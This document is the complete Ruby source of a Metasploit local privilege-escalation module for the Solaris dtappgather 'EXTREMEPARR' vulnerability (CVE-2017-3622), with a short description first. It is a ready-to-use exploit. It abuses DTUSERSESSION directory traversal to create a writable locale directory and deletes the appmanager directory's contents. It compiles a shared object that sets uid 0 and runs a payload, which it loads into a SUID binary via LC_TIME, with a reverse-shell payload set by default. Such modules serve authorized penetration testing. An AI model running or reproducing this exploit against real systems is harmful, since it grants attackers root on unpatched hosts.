This Metasploit module exploits a directory traversal vulnerability in the dtappgather executable included with Common Desktop Environment (CDE) on unpatched Solaris systems prior to Solaris 10u11 which allows users to gain root privileges. dtappgather allows users to create a user-owned directory at any location on the filesystem using the DTUSERSESSION environment variable. This Metasploit module creates a directory in /usr/lib/locale, writes a shared object to the directory, and runs the specified SUID binary with the shared object loaded using the LC_TIME environment variable. This Metasploit module has been tested successfully on: Solaris 9u7 (09/04) (x86); Solaris 10u1 (01/06) (x86); Solaris 10u2 (06/06) (x86); Solaris 10u4 (08/07) (x86); Solaris 10u8 (10/09) (x86); Solaris 10u9 (09/10) (x86).
f10a9baa72d2639e9298d5dc6fb5e7c2##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Solaris::Priv
include Msf::Post::Solaris::System
include Msf::Post::Solaris::Kernel
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => "Solaris 'EXTREMEPARR' dtappgather Privilege Escalation",
'Description' => %q{
This module exploits a directory traversal vulnerability in the
`dtappgather` executable included with Common Desktop Environment (CDE)
on unpatched Solaris systems prior to Solaris 10u11 which allows users
to gain root privileges.
dtappgather allows users to create a user-owned directory at any
location on the filesystem using the `DTUSERSESSION` environment
variable.
This module creates a directory in `/usr/lib/locale`, writes a shared
object to the directory, and runs the specified SUID binary with the
shared object loaded using the `LC_TIME` environment variable.
This module has been tested successfully on:
Solaris 9u7 (09/04) (x86);
Solaris 10u1 (01/06) (x86);
Solaris 10u2 (06/06) (x86);
Solaris 10u4 (08/07) (x86);
Solaris 10u8 (10/09) (x86);
Solaris 10u9 (09/10) (x86).
},
'References' =>
[
['BID', '97774'],
['CVE', '2017-3622'],
['EDB', '41871'],
['URL', 'https://github.com/HackerFantastic/Public/blob/master/exploits/dtappgather-poc.sh'],
['URL', 'http://www.oracle.com/technetwork/security-advisory/cpuapr2017-3236618.html']
],
'Notes' => { 'AKA' => ['EXTREMEPARR'] },
'License' => MSF_LICENSE,
'Author' =>
[
'Shadow Brokers', # exploit
'Hacker Fantastic', # dtappgather-poc.sh
'Brendan Coles' # Metasploit
],
'DisclosureDate' => 'Apr 24 2017',
'Privileged' => true,
'Platform' => ['solaris', 'unix'],
'Arch' => [ARCH_X86, ARCH_X64, ARCH_SPARC],
'Targets' => [['Auto', {}]],
'SessionTypes' => ['shell', 'meterpreter'],
'DefaultOptions' =>
{
'PAYLOAD' => 'solaris/x86/shell_reverse_tcp',
'WfsDelay' => 10,
'PrependFork' => true
},
'DefaultTarget' => 0))
register_options [
# Some useful example SUID executables:
# * /usr/bin/at
# * /usr/bin/cancel
# * /usr/bin/chkey
# * /usr/bin/lp
# * /usr/bin/lpset
# * /usr/bin/lpstat
# * /usr/lib/lp/bin/netpr
# * /usr/sbin/lpmove
OptString.new('SUID_PATH', [true, 'Path to suid executable', '/usr/bin/at']),
OptString.new('DTAPPGATHER_PATH', [true, 'Path to dtappgather executable', '/usr/dt/bin/dtappgather'])
]
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
]
end
def suid_bin_path
datastore['SUID_PATH']
end
def dtappgather_path
datastore['DTAPPGATHER_PATH']
end
def mkdir(path)
vprint_status "Creating directory '#{path}'"
cmd_exec "mkdir -p '#{path}'"
register_dir_for_cleanup path
end
def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end
def upload_and_compile(path, data)
upload "#{path}.c", data
output = cmd_exec "PATH=$PATH:/usr/sfw/bin/:/opt/sfw/bin/:/opt/csw/bin gcc -fPIC -shared -g -lc -o #{path} #{path}.c"
unless output.blank?
print_error output
fail_with Failure::Unknown, "#{path}.c failed to compile"
end
register_file_for_cleanup path
end
def symlink(link_target, link_name)
vprint_status "Symlinking #{link_target} to #{link_name}"
rm_f link_name
cmd_exec "ln -sf #{link_target} #{link_name}"
register_file_for_cleanup link_name
end
def check
[dtappgather_path, suid_bin_path].each do |path|
unless setuid? path
vprint_error "#{path} is not setuid"
return CheckCode::Safe
end
vprint_good "#{path} is setuid"
end
unless has_gcc?
vprint_error 'gcc is not installed'
return CheckCode::Safe
end
vprint_good 'gcc is installed'
version = kernel_release
if version.to_s.eql? ''
vprint_error 'Could not determine Solaris version'
return CheckCode::Detected
end
unless Gem::Version.new(version).between? Gem::Version.new('5.7'), Gem::Version.new('5.10')
vprint_error "Solaris version #{version} is not vulnerable"
return CheckCode::Safe
end
vprint_good "Solaris version #{version} appears to be vulnerable"
CheckCode::Appears
end
def exploit
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end
unless [CheckCode::Detected, CheckCode::Appears].include? check
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end
unless writable? datastore['WritableDir']
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
end
# Remove appmanager directory and contents
appmanager_path = '/var/dt/appconfig/appmanager'
vprint_status "Cleaning appmanager directory #{appmanager_path}"
cmd_exec "chmod -R 755 #{appmanager_path}/*"
cmd_exec "rm -rf #{appmanager_path}/*"
rm_f appmanager_path
# Create writable directory in /usr/lib/locale
locale_path = '/usr/lib/locale'
locale_name = rand_text_alphanumeric 5..10
new_dir = "#{locale_path}/#{locale_name}"
vprint_status "Creating directory #{new_dir}"
depth = 3
cmd_exec "DTUSERSESSION=. /usr/dt/bin/dtappgather"
depth.times do
cmd_exec "DTUSERSESSION=.. /usr/dt/bin/dtappgather"
end
symlink locale_path, appmanager_path
cmd_exec "DTUSERSESSION=#{locale_name} #{dtappgather_path}"
unless cmd_exec("ls -al #{locale_path} | grep #{locale_name}").to_s.include? locale_name
fail_with Failure::NotVulnerable, "Could not create directory #{new_dir}"
end
print_good "Created directory #{new_dir}"
register_dir_for_cleanup new_dir
rm_f appmanager_path
cmd_exec "chmod 755 #{new_dir}"
# Upload and compile shared object
base_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric 5..10}"
mkdir base_path
payload_name = ".#{rand_text_alphanumeric 5..10}"
payload_path = "#{base_path}/#{payload_name}"
so = <<-EOF
void __attribute__((constructor)) cons() {
setuid(0);
setgid(0);
execle("#{payload_path}", "", 0, 0);
_exit(0);
}
EOF
so_name = ".#{rand_text_alphanumeric 5..10}"
so_path = "#{base_path}/#{so_name}"
upload_and_compile so_path, so
vprint_status "Writing shared objects to #{new_dir}"
cmd_exec "cp '#{so_path}' '#{new_dir}/#{locale_name}.so.2'"
register_file_for_cleanup "#{new_dir}/#{locale_name}.so.2"
cmd_exec "cp '#{so_path}' '#{new_dir}/#{locale_name}.so.3'"
register_file_for_cleanup "#{new_dir}/#{locale_name}.so.3"
# Upload and execute payload
upload payload_path, generate_payload_exe
cmd_exec "chmod +x #{payload_path}"
print_status 'Executing payload...'
cmd_exec "LC_TIME=#{locale_name} #{suid_bin_path} & echo "
end
end